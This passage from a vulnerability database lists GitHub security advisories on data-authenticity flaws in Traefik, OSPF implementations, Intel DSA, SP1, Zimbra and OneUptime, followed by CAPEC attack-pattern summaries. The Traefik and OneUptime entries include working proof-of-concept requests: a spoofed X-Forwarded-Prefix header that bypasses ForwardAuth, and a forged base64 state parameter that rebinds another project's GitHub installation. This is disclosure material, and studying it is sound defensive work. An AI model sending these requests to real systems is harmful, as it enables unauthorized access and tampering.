this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\n`ForwardAuth` with `trustForwardHeader=false` still forwards an attacker-controlled `X-Forwarded-Prefix` header to the authentication service when Traefik is deployed behind a trusted upstream proxy. If the auth service relies on `X-Forwarded-Prefix` for authorization or routing decisions, an external attacker can bypass access controls and reach protected backend routes.\n\nThis was validated this against Traefik `v3.6.12` using the official Docker image and a minimal local Docker setup. A direct request to Traefik is correctly rejected, but the same request succeeds when sent through a trusted reverse proxy, which shows the issue is in the `ForwardAuth` subrequest handling rather than general ingress header stripping.\n\n### Details\nThe vulnerable behavior comes from the way Traefik builds the subrequest sent to the forward-auth server.\n\nIn [`pkg/middlewares/auth/forward.go`](pkg/middlewares/auth/forward.go), `writeHeader` first copies all incoming request headers into the auth subrequest:\n\n```go\nfunc writeHeader(req, forwardReq *http.Request, trustForwardHeader bool, allowedHeaders []string) {\n utils.CopyHeaders(forwardReq.Header, req.Header)\n ...\n forwardReq.Header = filterForwardRequestHeaders(forwardReq.Header, allowedHeaders)\n```\n\nIt then selectively rebuilds only a subset of forwarded headers when `trustForwardHeader=false`, for example:\n\n- `X-Forwarded-For`\n- `X-Forwarded-Method`\n- `X-Forwarded-Proto`\n- `X-Forwarded-Port`\n- `X-Forwarded-Host`\n- `X-Forwarded-Uri`\n\nHowever, it does **not** remove or rebuild `X-Forwarded-Prefix`, so an attacker-supplied value remains in the auth request even when forwarded headers are supposed to be untrusted.\n\nThis becomes security-relevant when `StripPrefix` is used before `ForwardAuth`. In [`pkg/middlewares/stripprefix/strip_prefix.go`](pkg/middlewares/stripprefix/strip_prefix.go), Traefik appends the stripped prefix using `Header.Add`:\n\n```go\nfunc (s *stripPrefix) serveRequest(rw http.ResponseWriter, req *http.Request, prefix string) {\n req.Header.Add(ForwardedPrefixHeader, prefix)\n```\n\nIf the attacker already sent `X-Forwarded-Prefix: /admin`, and `StripPrefix` later adds `/forbidden`, the auth service receives both values in this order:\n\n1. `/admin` (attacker-controlled)\n2. `/forbidden` (Traefik-generated)\n\nAn auth service that uses the first `X-Forwarded-Prefix` value can therefore be tricked into authorizing a protected route.\n\nWhy this appears unintended:\n\n- The docs say `trustForwardHeader` means \"Trust all X-Forwarded-* headers\" and defaults to `false`.\n- The migration notes say `X-Forwarded-Prefix` is handled like other `X-Forwarded-*` headers and removed from untrusted sources.\n- The direct-to-Traefik test case behaves consistently with that expectation and returns `403`.\n- Only the auth subrequest path still honors the spoofed `X-Forwarded-Prefix`.\n\nRelevant source/documentation locations:\n\n- `pkg/middlewares/auth/forward.go` lines 393-459\n- `pkg/middlewares/stripprefix/strip_prefix.go` lines 65-68\n- `pkg/middlewares/forwardedheaders/forwarded_header.go` lines 15-43\n- `docs/content/reference/routing-configuration/http/middlewares/forwardauth.md` lines 59-62 and 130-140\n- `docs/content/migrate/v3.md` lines 192-196\n\nThis was only tested and validated with `X-Forwarded-Prefix`. By source review, other forwarded headers that are copied but not rebuilt in `writeHeader` may deserve separate review, but I am not claiming impact for them here.\n\n### PoC\nThe following uses the official `traefik:v3.6.12` Docker image and a mounted `traefik.toml`, matching the documented deployment style.\n\n1. Create `traefik.toml`:\n\n```toml\n[entryPoints]\n [entryPoints.web]\n address = \":80\"\n [entryPoints.web.forwardedHeaders]\n trustedIPs = [\"172.31.79.0/24\"]\n\n[providers]\n [providers.file]\n filename = \"/etc/traefik/dynamic.toml\"\n watch = false\n\n[log]\n level = \"DEBUG\"\n\n[accessLog]\n```\n\n2. Create `dynamic.toml`:\n\n```toml\n[http.routers]\n [http.routers.app]\n entryPoints = [\"web\"]\n rule = \"Host(`app.local`) \u0026\u0026 PathPrefix(`/forbidden`)\"\n middlewares = [\"strip-forbidden\", \"authz\"]\n service = \"backend\"\n\n[http.middlewares]\n [http.middlewares.strip-forbidden.stripPrefix]\n prefixes = [\"/forbidden\"]\n\n [http.middlewares.authz.forwardAuth]\n address = \"http://auth:8000/check\"\n trustForwardHeader = false\n authResponseHeaders = [\"X-Auth-First-Prefix\", \"X-Auth-All-Prefixes\"]\n\n[http.services]\n [http.services.backend.loadBalancer]\n [[http.services.backend.loadBalancer.servers]]\n url = \"http://backend:80\"\n```\n\n3. Create `auth.py`:\n\n```python\nimport json\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n\nclass Handler(BaseHTTPRequestHandler):\n def do_GET(self):\n if not self.path.startswith(\"/check\"):\n self.send_response(404)\n self.end_headers()\n return\n\n prefixes = self.headers.get_all(\"X-Forwarded-Prefix\") or []\n first = prefixes[0] if prefixes else \"\"\n payload = {\n \"path\": self.path,\n \"first_prefix\": first,\n \"all_prefixes\": prefixes,\n \"x_forwarded_for\": self.headers.get_all(\"X-Forwarded-For\") or [],\n }\n print(json.dumps(payload), flush=True)\n\n if first == \"/admin\":\n self.send_response(200)\n self.send_header(\"X-Auth-First-Prefix\", first)\n self.send_header(\"X-Auth-All-Prefixes\", \"|\".join(prefixes))\n self.end_headers()\n self.wfile.write(b\"authorized\\n\")\n return\n\n self.send_response(403)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n self.wfile.write(json.dumps(payload).encode() + b\"\\n\")\n\n\nHTTPServer((\"0.0.0.0\", 8000), Handler).serve_forever()\n```\n\n4. Create `frontend.conf`:\n\n```nginx\nserver {\n listen 80;\n access_log /dev/stdout;\n\n location / {\n proxy_http_version 1.1;\n proxy_pass http://traefik:80;\n proxy_set_header Host $http_host;\n proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n }\n}\n```\n\n5. Start the containers:\n\n```bash\ndocker network create --subnet 172.31.79.0/24 traefik-readme-net\n\ndocker run -d --name traefik-readme-backend \\\n --network traefik-readme-net \\\n --network-alias backend \\\n traefik/whoami\n\ndocker run -d --name traefik-readme-auth \\\n --network traefik-readme-net \\\n --network-alias auth \\\n -v \"$PWD/auth.py:/app/auth.py:ro\" \\\n -w /app \\\n python:3.12-alpine \\\n python /app/auth.py\n\ndocker run -d --name traefik-readme-traefik \\\n --network traefik-readme-net \\\n --network-alias traefik \\\n -p 18081:80 \\\n -v \"$PWD/traefik.toml:/etc/traefik/traefik.toml:ro\" \\\n -v \"$PWD/dynamic.toml:/etc/traefik/dynamic.toml:ro\" \\\n traefik:v3.6.12\n\ndocker run -d --name traefik-readme-frontend \\\n --network traefik-readme-net \\\n -p 18080:80 \\\n -v \"$PWD/frontend.conf:/etc/nginx/conf.d/default.conf:ro\" \\\n nginx:alpine\n```\n\n6. Send three requests:\n\nDirect to Traefik, spoofed header:\n```bash\ncurl -sS -i \\\n -H \u0027Host: app.local\u0027 \\\n -H \u0027X-Forwarded-Prefix: /admin\u0027 \\\n http://127.0.0.1:18081/forbidden/test\n```\n\nExpected result:\n```http\nHTTP/1.1 403 Forbidden\n...\n{\"path\": \"/check\", \"first_prefix\": \"/forbidden\", \"all_prefixes\": [\"/forbidden\"]}\n```\n\nThrough trusted proxy, no spoofing:\n```bash\ncurl -sS -i \\\n -H \u0027Host: app.local\u0027 \\\n http://127.0.0.1:18080/forbidden/test\n```\n\nExpected result:\n```http\nHTTP/1.1 403 Forbidden\n...\n{\"path\": \"/check\", \"first_prefix\": \"/forbidden\", \"all_prefixes\": [\"/forbidden\"]}\n```\n\nThrough trusted proxy, spoofed header:\n```bash\ncurl -sS -i \\\n -H \u0027Host: app.local\u0027 \\\n -H \u0027X-Forwarded-Prefix: /admin\u0027 \\\n http://127.0.0.1:18080/forbidden/test\n```\n\nObserved result:\n```http\nHTTP/1.1 200 OK\n...\nX-Auth-All-Prefixes: /admin|/forbidden\nX-Auth-First-Prefix: /admin\nX-Forwarded-Prefix: /admin\nX-Forwarded-Prefix: /forbidden\n```\n\nThe backend response confirms that the request reached the protected upstream after the auth service accepted the attacker-controlled prefix.\n\n7. Optional log confirmation from the auth service:\n\n```bash\ndocker logs traefik-readme-auth\n```\n\nObserved log sequence:\n```json\n{\"path\": \"/check\", \"first_prefix\": \"/forbidden\", \"all_prefixes\": [\"/forbidden\"], ...}\n{\"path\": \"/check\", \"first_prefix\": \"/forbidden\", \"all_prefixes\": [\"/forbidden\"], ...}\n{\"path\": \"/check\", \"first_prefix\": \"/admin\", \"all_prefixes\": [\"/admin\", \"/forbidden\"], ...}\n```\n\n8. Cleanup:\n\n```bash\ndocker rm -f traefik-readme-traefik traefik-readme-backend traefik-readme-auth traefik-readme-frontend\ndocker network rm traefik-readme-net\n```\n\n### Impact\nThis is an authentication bypass / trust-boundary bypass.\n\nAffected deployments are those that:\n\n- run Traefik behind a trusted upstream proxy\n- use `ForwardAuth`\n- rely on `trustForwardHeader=false` to avoid trusting client-supplied forwarded headers\n- pass `X-Forwarded-Prefix` to the auth service, which happens by default when `authRequestHeaders` is empty\n- make authorization or routing decisions based on `X-Forwarded-Prefix`, especially when `StripPrefix` runs before `ForwardAuth`\nIn those environments, an unauthenticated external attacker can influence the auth service\u0027s view of the protected path and gain access to backend routes that should be denied.\n\n\u003c/details\u003e\n\n----",
"id": "GHSA-6384-m2mw-rf54",
"modified": "2026-05-06T21:24:33Z",
"published": "2026-04-24T16:31:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-6384-m2mw-rf54"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35051"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.11.43"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.6.14"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Traefik\u0027s ForwardAuth trustForwardHeader=false allows spoofed X-Forwarded-Prefix to bypass authentication"
}
GHSA-63CP-F7WP-C79R
Vulnerability from github – Published: 2022-05-13 01:36 – Updated: 2022-05-13 01:36Open Shortest Path First (OSPF) protocol implementations may improperly determine Link State Advertisement (LSA) recency for LSAs with MaxSequenceNumber. According to RFC 2328 section 13.1, for two instances of the same LSA, recency is determined by first comparing sequence numbers, then checksums, and finally MaxAge. In a case where the sequence numbers are the same, the LSA with the larger checksum is considered more recent, and will not be flushed from the Link State Database (LSDB). Since the RFC does not explicitly state that the values of links carried by a LSA must be the same when prematurely aging a self-originating LSA with MaxSequenceNumber, it is possible in vulnerable OSPF implementations for an attacker to craft a LSA with MaxSequenceNumber and invalid links that will result in a larger checksum and thus a 'newer' LSA that will not be flushed from the LSDB. Propagation of the crafted LSA can result in the erasure or alteration of the routing tables of routers within the routing domain, creating a denial of service condition or the re-routing of traffic on the network. CVE-2017-3224 has been reserved for Quagga and downstream implementations (SUSE, openSUSE, and Red Hat packages).
{
"affected": [],
"aliases": [
"CVE-2017-3224"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-24T15:29:00Z",
"severity": "HIGH"
},
"details": "Open Shortest Path First (OSPF) protocol implementations may improperly determine Link State Advertisement (LSA) recency for LSAs with MaxSequenceNumber. According to RFC 2328 section 13.1, for two instances of the same LSA, recency is determined by first comparing sequence numbers, then checksums, and finally MaxAge. In a case where the sequence numbers are the same, the LSA with the larger checksum is considered more recent, and will not be flushed from the Link State Database (LSDB). Since the RFC does not explicitly state that the values of links carried by a LSA must be the same when prematurely aging a self-originating LSA with MaxSequenceNumber, it is possible in vulnerable OSPF implementations for an attacker to craft a LSA with MaxSequenceNumber and invalid links that will result in a larger checksum and thus a \u0027newer\u0027 LSA that will not be flushed from the LSDB. Propagation of the crafted LSA can result in the erasure or alteration of the routing tables of routers within the routing domain, creating a denial of service condition or the re-routing of traffic on the network. CVE-2017-3224 has been reserved for Quagga and downstream implementations (SUSE, openSUSE, and Red Hat packages).",
"id": "GHSA-63cp-f7wp-c79r",
"modified": "2022-05-13T01:36:41Z",
"published": "2022-05-13T01:36:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-3224"
},
{
"type": "WEB",
"url": "https://www.kb.cert.org/vuls/id/793496"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-63VR-QRP5-7R43
Vulnerability from github – Published: 2025-02-13 00:33 – Updated: 2025-02-13 00:33Insufficient verification of data authenticity in some Intel(R) DSA software before version 23.4.39 may allow an authenticated user to potentially enable escalation of privilege via local access.
{
"affected": [],
"aliases": [
"CVE-2024-39805"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-12T22:15:37Z",
"severity": "HIGH"
},
"details": "Insufficient verification of data authenticity in some Intel(R) DSA software before version 23.4.39 may allow an authenticated user to potentially enable escalation of privilege via local access.",
"id": "GHSA-63vr-qrp5-7r43",
"modified": "2025-02-13T00:33:06Z",
"published": "2025-02-13T00:33:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39805"
},
{
"type": "WEB",
"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01030.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-63X8-X938-VX33
Vulnerability from github – Published: 2026-04-14 00:05 – Updated: 2026-04-24 20:50Summary
A soundness vulnerability in the SP1 V6 recursive shard verifier allows a malicious prover to construct a recursive proof from a shard proof that the native verifier would reject.
- Affected versions:
>= 6.0.0, <= 6.0.2 - Not affected: SP1 V5 (all versions)
- Severity: High
Details
Background
The recursive shard verifier circuit verifies shard proofs inside a recursive proof. Each shard proof includes a jagged PCS opening, which binds trace-shape metadata into a modified commitment and uses that same shape to evaluate the committed polynomials. These two operations must agree on the committed table heights.
The Bug
In the V6 recursion circuit's jagged verifier, the two checks above are served by separate witnesses: a vector of row counts hashed into the modified commitment (commitment side), and a separate witness of prefix sums derived from row and column counts that drives the jagged polynomial evaluator (evaluation side). The prefix sums are observed within the shard verifier.
The consistency check between these two witnesses was missing in the recursion sub-circuit describing the jagged PCS verifier. A malicious prover can therefore supply one trace shape for commitment binding and a different shape for polynomial evaluation.
Potential Impact
The vulnerability applies to both main trace and preprocessed trace metadata. Because preprocessed traces encode circuit structure (selectors, fixed columns, permutation layout), the potential impact extends beyond data forgery to misrepresentation of the circuit itself.
While a demonstration of a full exploit proving arbitrary statements has not been created — since modifying one table's layout incidentally constrains changes to related tables — this barrier is not by design and should not be relied upon. This is considered a soundness violation that is unacceptable regardless of current exploitability.
Why the Native Verifier Is Not Affected
The native shard verifier uses a single jagged PCS verifier object where row counts and evaluation layout are derived from the same data, so the split-witness divergence cannot occur. The recursion circuit's shard-level checks (prefix-sum and total-area assertions) only constrain the evaluation-side parameters, not the commitment-side row counts, so they do not catch the gap.
Mitigation
The fix adds a post-evaluation consistency constraint in the recursive jagged verifier. After the jagged evaluation returns the prefix-sum values derived from the evaluation layout, the circuit reconstructs expected prefix sums from the commitment-side row counts (repeating each row count by its corresponding column count and accumulating). It then asserts element-wise equality between the reconstructed and returned prefix sums, and verifies that the final accumulated area matches the total area from the evaluation parameters.
This forces both witnesses to describe the same trace geometry. Any divergence is now a constraint failure.
Credit
This vulnerability was identified through the SP1 bug bounty program on Code4rena.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.0.2"
},
"package": {
"ecosystem": "crates.io",
"name": "sp1_sdk"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.0.2"
},
"package": {
"ecosystem": "crates.io",
"name": "sp1_recursion_circuit"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.0.2"
},
"package": {
"ecosystem": "crates.io",
"name": "sp1_prover"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40323"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-354"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T00:05:19Z",
"nvd_published_at": "2026-04-18T00:16:36Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA soundness vulnerability in the SP1 V6 recursive shard verifier allows a malicious prover to construct a recursive proof from a shard proof that the native verifier would reject.\n\n- **Affected versions:** `\u003e= 6.0.0, \u003c= 6.0.2`\n- **Not affected:** SP1 V5 (all versions)\n- **Severity:** High\n\n## Details\n\n### Background\n\nThe recursive shard verifier circuit verifies shard proofs inside a recursive proof. Each shard proof includes a jagged PCS opening, which binds trace-shape metadata into a modified commitment and uses that same shape to evaluate the committed polynomials. These two operations must agree on the committed table heights.\n\n### The Bug\n\nIn the V6 recursion circuit\u0027s jagged verifier, the two checks above are served by separate witnesses: a vector of row counts hashed into the modified commitment (commitment side), and a separate witness of prefix sums derived from row and column counts that drives the jagged polynomial evaluator (evaluation side). The prefix sums are observed within the shard verifier.\n\nThe consistency check between these two witnesses was missing in the recursion sub-circuit describing the jagged PCS verifier. A malicious prover can therefore supply one trace shape for commitment binding and a different shape for polynomial evaluation.\n\n### Potential Impact\n\nThe vulnerability applies to both main trace and preprocessed trace metadata. Because preprocessed traces encode circuit structure (selectors, fixed columns, permutation layout), the potential impact extends beyond data forgery to misrepresentation of the circuit itself.\n\nWhile a demonstration of a full exploit proving arbitrary statements has not been created \u2014 since modifying one table\u0027s layout incidentally constrains changes to related tables \u2014 this barrier is not by design and should not be relied upon. This is considered a soundness violation that is unacceptable regardless of current exploitability.\n\n### Why the Native Verifier Is Not Affected\n\nThe native shard verifier uses a single jagged PCS verifier object where row counts and evaluation layout are derived from the same data, so the split-witness divergence cannot occur. The recursion circuit\u0027s shard-level checks (prefix-sum and total-area assertions) only constrain the evaluation-side parameters, not the commitment-side row counts, so they do not catch the gap.\n\n## Mitigation\n\nThe fix adds a post-evaluation consistency constraint in the recursive jagged verifier. After the jagged evaluation returns the prefix-sum values derived from the evaluation layout, the circuit reconstructs expected prefix sums from the commitment-side row counts (repeating each row count by its corresponding column count and accumulating). It then asserts element-wise equality between the reconstructed and returned prefix sums, and verifies that the final accumulated area matches the total area from the evaluation parameters.\n\nThis forces both witnesses to describe the same trace geometry. Any divergence is now a constraint failure.\n\n## Credit\n\nThis vulnerability was identified through the SP1 bug bounty program on Code4rena.",
"id": "GHSA-63x8-x938-vx33",
"modified": "2026-04-24T20:50:48Z",
"published": "2026-04-14T00:05:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/succinctlabs/sp1/security/advisories/GHSA-63x8-x938-vx33"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40323"
},
{
"type": "PACKAGE",
"url": "https://github.com/succinctlabs/sp1"
},
{
"type": "WEB",
"url": "https://github.com/succinctlabs/sp1/releases/tag/v6.1.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "SP1 V6 Recursion Circuit Row-Count Binding Gap"
}
GHSA-64M7-G2XC-J9F9
Vulnerability from github – Published: 2022-05-13 01:19 – Updated: 2022-05-13 01:19Zimbra Collaboration before 8.8.10 GA allows text content spoofing via a loginErrorCode value.
{
"affected": [],
"aliases": [
"CVE-2018-17938"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-03T08:29:00Z",
"severity": "MODERATE"
},
"details": "Zimbra Collaboration before 8.8.10 GA allows text content spoofing via a loginErrorCode value.",
"id": "GHSA-64m7-g2xc-j9f9",
"modified": "2022-05-13T01:19:30Z",
"published": "2022-05-13T01:19:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-17938"
},
{
"type": "WEB",
"url": "https://bugzilla.zimbra.com/show_bug.cgi?id=109021"
},
{
"type": "WEB",
"url": "https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-656W-6F6C-M9R6
Vulnerability from github – Published: 2026-03-09 17:29 – Updated: 2026-03-10 18:44Summary
OneUptime's GitHub App callback trusts attacker-controlled state and installation_id values and updates Project.gitHubAppInstallationId with isRoot: true without validating that the caller is authorized for the target project. This allows an attacker to overwrite another project's GitHub App installation binding.
Related GitHub endpoints also lack effective authorization, so a valid installation ID can be used to enumerate repositories and create CodeRepository records in an arbitrary project.
Details
The callback decodes unsigned base64 JSON from state and uses the embedded projectId directly:
- https://github.com/OneUptime/oneuptime/blob/master/Common/Server/API/GitHubAPI.ts#L34-L112
It then writes the supplied installation_id into the target project with root privileges:
await ProjectService.updateOneById({
id: new ObjectID(projectId),
data: { gitHubAppInstallationId: installationId },
props: { isRoot: true },
});
The userId in state is only checked for presence, not authenticity:
- https://github.com/OneUptime/oneuptime/blob/master/Common/Server/API/GitHubAPI.ts#L73-L79
The install flow also generates state as plain base64 JSON, not a signed or session-bound token:
- https://github.com/OneUptime/oneuptime/blob/master/Common/Server/API/GitHubAPI.ts#L127-L165
The follow-on endpoints are also vulnerable:
- Repository listing: https://github.com/OneUptime/oneuptime/blob/master/Common/Server/API/GitHubAPI.ts#L179-L258
- Repository connect: https://github.com/OneUptime/oneuptime/blob/master/Common/Server/API/GitHubAPI.ts#L260-L356
- Middleware allows requests with no token to continue as
Public: https://github.com/OneUptime/oneuptime/blob/master/Common/Server/Middleware/UserAuthorization.ts#L205-L211 - Installation tokens are minted from any valid installation ID: https://github.com/OneUptime/oneuptime/blob/master/Common/Server/Utils/CodeRepository/GitHub/GitHub.ts#L347-L425
PoC
Minimal proof of unauthorized project tampering:
STATE=$(printf '%s' '{"projectId":"<victim-project-uuid>","userId":"x"}' | base64 | tr -d '\n')
curl -isk "https://<host>/api/github/auth/callback?installation_id=999999999&state=${STATE}"
Expected result:
- Server returns a
302redirect to/dashboard/<victim-project-uuid>/code-repository?installation_id=999999999 - The target project's
gitHubAppInstallationIdis overwritten
Impact
- Unauthorized modification of
Project.gitHubAppInstallationId - Temporary GitHub integration breakage if a bogus installation ID is set
- Cross-project binding of attacker-controlled GitHub App installations
- Repository metadata disclosure for a supplied valid installation ID
- Unauthorized creation of
CodeRepositoryrecords in arbitrary projects
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@oneuptime/common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.0.19"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30920"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-639",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-09T17:29:47Z",
"nvd_published_at": "2026-03-10T17:40:16Z",
"severity": "HIGH"
},
"details": "### Summary\n\nOneUptime\u0027s GitHub App callback trusts attacker-controlled `state` and `installation_id` values and updates `Project.gitHubAppInstallationId` with `isRoot: true` without validating that the caller is authorized for the target project. This allows an attacker to overwrite another project\u0027s GitHub App installation binding.\n\nRelated GitHub endpoints also lack effective authorization, so a valid installation ID can be used to enumerate repositories and create `CodeRepository` records in an arbitrary project.\n\n### Details\n\nThe callback decodes unsigned base64 JSON from `state` and uses the embedded `projectId` directly:\n\n- https://github.com/OneUptime/oneuptime/blob/master/Common/Server/API/GitHubAPI.ts#L34-L112\n\nIt then writes the supplied `installation_id` into the target project with root privileges:\n\n```ts\nawait ProjectService.updateOneById({\n id: new ObjectID(projectId),\n data: { gitHubAppInstallationId: installationId },\n props: { isRoot: true },\n});\n```\n\nThe `userId` in `state` is only checked for presence, not authenticity:\n\n- https://github.com/OneUptime/oneuptime/blob/master/Common/Server/API/GitHubAPI.ts#L73-L79\n\nThe install flow also generates `state` as plain base64 JSON, not a signed or session-bound token:\n\n- https://github.com/OneUptime/oneuptime/blob/master/Common/Server/API/GitHubAPI.ts#L127-L165\n\nThe follow-on endpoints are also vulnerable:\n\n- Repository listing: https://github.com/OneUptime/oneuptime/blob/master/Common/Server/API/GitHubAPI.ts#L179-L258\n- Repository connect: https://github.com/OneUptime/oneuptime/blob/master/Common/Server/API/GitHubAPI.ts#L260-L356\n- Middleware allows requests with no token to continue as `Public`: https://github.com/OneUptime/oneuptime/blob/master/Common/Server/Middleware/UserAuthorization.ts#L205-L211\n- Installation tokens are minted from any valid installation ID: https://github.com/OneUptime/oneuptime/blob/master/Common/Server/Utils/CodeRepository/GitHub/GitHub.ts#L347-L425\n\n### PoC\n\nMinimal proof of unauthorized project tampering:\n\n```bash\nSTATE=$(printf \u0027%s\u0027 \u0027{\"projectId\":\"\u003cvictim-project-uuid\u003e\",\"userId\":\"x\"}\u0027 | base64 | tr -d \u0027\\n\u0027)\ncurl -isk \"https://\u003chost\u003e/api/github/auth/callback?installation_id=999999999\u0026state=${STATE}\"\n```\n\nExpected result:\n\n- Server returns a `302` redirect to `/dashboard/\u003cvictim-project-uuid\u003e/code-repository?installation_id=999999999`\n- The target project\u0027s `gitHubAppInstallationId` is overwritten\n\n### Impact\n\n- Unauthorized modification of `Project.gitHubAppInstallationId`\n- Temporary GitHub integration breakage if a bogus installation ID is set\n- Cross-project binding of attacker-controlled GitHub App installations\n- Repository metadata disclosure for a supplied valid installation ID\n- Unauthorized creation of `CodeRepository` records in arbitrary projects",
"id": "GHSA-656w-6f6c-m9r6",
"modified": "2026-03-10T18:44:14Z",
"published": "2026-03-09T17:29:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-656w-6f6c-m9r6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30920"
},
{
"type": "PACKAGE",
"url": "https://github.com/OneUptime/oneuptime"
},
{
"type": "WEB",
"url": "https://github.com/OneUptime/oneuptime/blob/master/Common/Server/API/GitHubAPI.ts#L127-L165"
},
{
"type": "WEB",
"url": "https://github.com/OneUptime/oneuptime/blob/master/Common/Server/API/GitHubAPI.ts#L179-L258"
},
{
"type": "WEB",
"url": "https://github.com/OneUptime/oneuptime/blob/master/Common/Server/API/GitHubAPI.ts#L260-L356"
},
{
"type": "WEB",
"url": "https://github.com/OneUptime/oneuptime/blob/master/Common/Server/API/GitHubAPI.ts#L34-L112"
},
{
"type": "WEB",
"url": "https://github.com/OneUptime/oneuptime/blob/master/Common/Server/API/GitHubAPI.ts#L73-L79"
},
{
"type": "WEB",
"url": "https://github.com/OneUptime/oneuptime/blob/master/Common/Server/Middleware/UserAuthorization.ts#L205-L211"
},
{
"type": "WEB",
"url": "https://github.com/OneUptime/oneuptime/blob/master/Common/Server/Utils/CodeRepository/GitHub/GitHub.ts#L347-L425"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "OneUptime has broken access control in GitHub App installation flow that allows unauthorized project binding"
}
No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-148: Content Spoofing
